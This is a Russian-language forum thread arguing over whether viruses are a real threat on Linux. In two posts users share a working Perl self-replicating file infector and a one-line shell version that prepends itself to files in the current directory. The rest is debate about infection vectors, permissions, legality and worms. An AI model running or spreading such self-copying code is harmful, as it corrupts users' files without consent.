LinuxForum.Fans
Тема

Поделитесь своим мнением о вирусах в Linux

Автор: Writer 220 сообщений 37466 просмотров
#74396
AndreyMust19 написал:
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

Камрад!
А ты-то зачем мыло съел???
Это ж безумно интересно - давай выкладывай!
Ну чего, теперь тебя уговаривать?!!

#74412
Teocally написал:
Например, "пользователь обыкновенный"

репутации у вас нет - плюсануть не получится. потому просто +500 :)

AndreyMust19 написал:
Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.

это не относится ко мне. и в этой теме тоже.

AndreyMust19 написал:
Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

зачем сразу с правами рута? что мешает заражать программы пользователя в огороженном загоне? я вовсе не подбиваю вас на:

drBatty написал:
Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).

но выложить саморазмножающуюся программу без вредоносных функций вполне можно

(ну предупредите на всякий: на боевых серверах с правами рута не запускать, хотя... ССЗБ).

Если программа просто размножается, и при этом не пытается ничего портить, и не повышает свои привилегии, она никак не попадает под статью.

#74415
text
#!/usr/bin/perl
open(I,$0); $sign = <I>;
while ($filename = glob("./*")) {
    if (-f $filename && -x $filename && -w $filename && open(FILE, $filename) && <FILE> eq $sign) {
        @strings = <FILE>;
        @virstr[0..10] = <I>;
        open(FILE,">$filename");
    print FILE $sign;
        print FILE @virstr;
        print FILE @strings;
        };
};

Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.

#74422
AndreyMust19 написал:
Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.

так и знал - поиск привинтили :(
это конечно круто, но чем это отличается от rm -rf /.string* или скажем

file: virus.sh

text

#!/bin/sh
find . -type f -name "string*" -exec cat ./virus.sh '{}' >/tmp/123 && mv /tmp/123 '{}' \;

тоже "заражает, и дописывает себя в начало каждого файла", только тут одна строчка shell, не считая sha-bang.

На sed несложно реализовать и работоспособность приложений, и даже скрытность. Но нерешёнными остаются практически все вопросы, которые я поставил в самом начале темы:

1) путь заражения: как попадает вирус на компьютер? в большинстве случаев через кряк. Антивирусы эффективны лишь на 19%, а против новых и старых полиморфных - бессильны, и потому не в состоянии остановить заражение. А как вы думаете, зачем пишут кряки? От любви к искусству? Вы отстали от времени лет на 15 - это бизнес. А в Linux'е кряков нет. И фотошопа нет, и кряка к нему нет тоже...

2) возможность заражения: в Windows файлы ни принадлежат никому, т.е. принадлежат всем - у них нет хозяина. А ещё у них нет прав. Точнее есть - сразу все и для всех. В Linux все системные файлы принадлежат руту, и юзер их не в состоянии изменить. Кроме того, в Linux очень неудобно работать с правами рута, в венде - с точностью наоборот.

3) невозможность скрыться: в linux изначально присутствуют доступные утилиты мониторинга. Это не венда, с невнятным svchost или fdjjs534mdf.sys - каждый процесс имеет свою легко находимую точку старта, и даже если юзер сомневается, он всегда может набрать man fdjjs534mdf.sys, и узнать всё необходимое (и/или погуглить). Кроме того, нет реестра, с его многочисленными (десятки их, если не сотни) точками старта.

4) разные дистрибутивы: универсальный вирус подо все дистры написать практически невозможно, а спец-вирус например для убунты никогда не наберёт критической для эпидемии массы (даже если все 100% компов будут под Linux'ом. Но ведь уж точно не 100% будут под убунтой. Сомневаюсь, что хоть 20%).

5) форма передачи. вирус должен очень плотно взаимодействовать с системой, надеюсь это понятно. Но как мы будем распространять наш вирус? бинарником? не пойдёт - ядро-то у всех разное, что уж говорить про ПО. В виде исходников? Ага, юзеры совсем идиоты? В виде пакетов? см. п4.

вы предложили решение разве что для п5, но ваше решение противоречит п3 - юзер заглянет в ваш скрипт, а если не поймёт, то и не запустит. Возможно это решает п4, но лишь для тех юзеров, которые одновременно:

  1. устанавливают софт в свой юзерспейс
  2. запускают там всякую непонятную гадость

я сомневаюсь, что таких много.

п1, п2, и п3 так и остались нераскрытыми...

#74423

п1, п2, и п3 так и остались нераскрытыми...

Элементарно - официальные пакеты с репозитория, подвергнутые "обработке" или с неофициальных репозиториев.
По крайней мере удалить все файлы из рабочего каталога - очень диструктивная функция.

Я уже неоднократно говорил что файловые вирусы невыгодны для linux. Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.

#74455
AndreyMust19 написал:
п1, п2, и п3 так и остались нераскрытыми...

Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.

примерчик можно? или Вы начитались статей про червь(вирус) Морриса?

#74520

AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

сама возможность массового заражения и распространения маловероятна, и ни один из вирусов, написанных для Linux (включая перечисленные ниже), никогда не размножался успешно на большом количестве машин. Кроме того, уязвимости в безопасности, которые эксплуатируются вирусами, были установлены и исправлены вскоре после (или прежде) того, как использовавшие их вирусы начали распространяться. Таким образом вирусы не несут в себе большой угрозы, если система обновляется регулярно.

А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?

Сомневаюсь, даже больше могу добавить- получить доступ могут всё, даже 3х летний ребёнок путём битья по клавиатуре и угадав пароль и потом тем же методом свалив систему. Тут главное стоит учесть, а получит ли червь права рута? :rolleyes:
По своему примеру скажу- Linux использую уже 4 года, фаервол выключен по умолчанию, антивирусное ПО вообще отсутствует. Не разу ещё система не падала по вине ВИРУСА, только по своей по воли моей фантазии и издевательств над ней, причём в большинстве случаев, всё просто восстанавливалось. С таким же успехом, на Виндовс, при настроеном фаерволе, при Ноде или Каспере (обновляющимся регулярно!!) систему валил какой нить Парит или ещё ВинЧих, несколько раз в месяц.

Вирусы на ЛИНУКС ау, вы где?? Может вам мой IP дать, ну а порты все открыты ВЕЛКОМ. :lol:

#74535
AndreyMust19 написал:
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

выкладывай, я не против... :D

у меня есть образ раздела с ОС, так что переустановить его - дело двух минут.
готов рискнуть! :D

#74539

Да и изучить можно wink.

#74541
AndreyMust19 написал:
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
И пожалуйста, не стройте из себя незнайку.

Еще раз повторюсь - пример в студию! И пожалуйста, не стройте из себя знайку

#74544
step_slim написал:
AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

Если уж цитируете, то цитируйте без отрыва от контекста:

Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...
#74548
Iskan Der написал:
[quote=step_slim]AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

Если уж цитируете, то цитируйте без отрыва от контекста:

Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...
[/quote]
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
#74550
Hvzh написал:
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.

#74551

Iskan Der
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай. Текст делится на введение, основную часть и заключение, я выбрал главную часть и её процитировал.

Hvzh написал:
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Соглашусь с Германом, может пересчитаем сколько у кого серверов, как бе обоснуйте под тем что цитируете, уважаемый Iskan Der.

#74552
Iskan Der написал:
[quote=Hvzh]"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.[/quote]
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?

#74553
step_slim написал:
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай

Только такое выборочное цитирование искажает смысл исходного утверждения, что не есть правильно, на мой взгляд.

Hvzh написал:
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?

Разумеется. На серверах совершенно другой уровень требований к безопасности и, соотвественно, мер по ее обеспечению. Что касается клиентских машин, то:
1. их гораздо больше (т.е. больше целевая аудитория)
2. уровень их защиты значительно ниже (иногда вообще никакой)
3. квалификация обслуживающего персонала (т.е. пользователей) тоже не намного выше плинтуса.
Одним словом, заразить такие машины значительно легче, а большое их число позволяет обеспечить достаточную массовость заражения.

#74554

Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)

#74555
Hvzh написал:
Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)

Вирус вирусу рознь. Есть и тупые поделки начинающих, но много о себе возомнивших кулхацкеров, попадаются и вполне профессиональные изделия.

#74556

Если червь не рушит систему, значит это его собственная смерть.
Можно хоть весь жесткий диск отформатировать или удалить документы. Но тем самым гадость проявит себя и ее смерть незамедлительна.
Поэтому все вредоносы-долгожители стараются не проявлять себя и оставлять следов. Но это не значит что они не могут нарушить работоспособность системы.
Гораздо выгоднее получить управление через систему удаленного администрирования, зомбировать или расслылать спам.
И еще. Безопасность - не значит "отсутствие опасности".

Войдите или зарегистрируйтесь, чтобы ответить.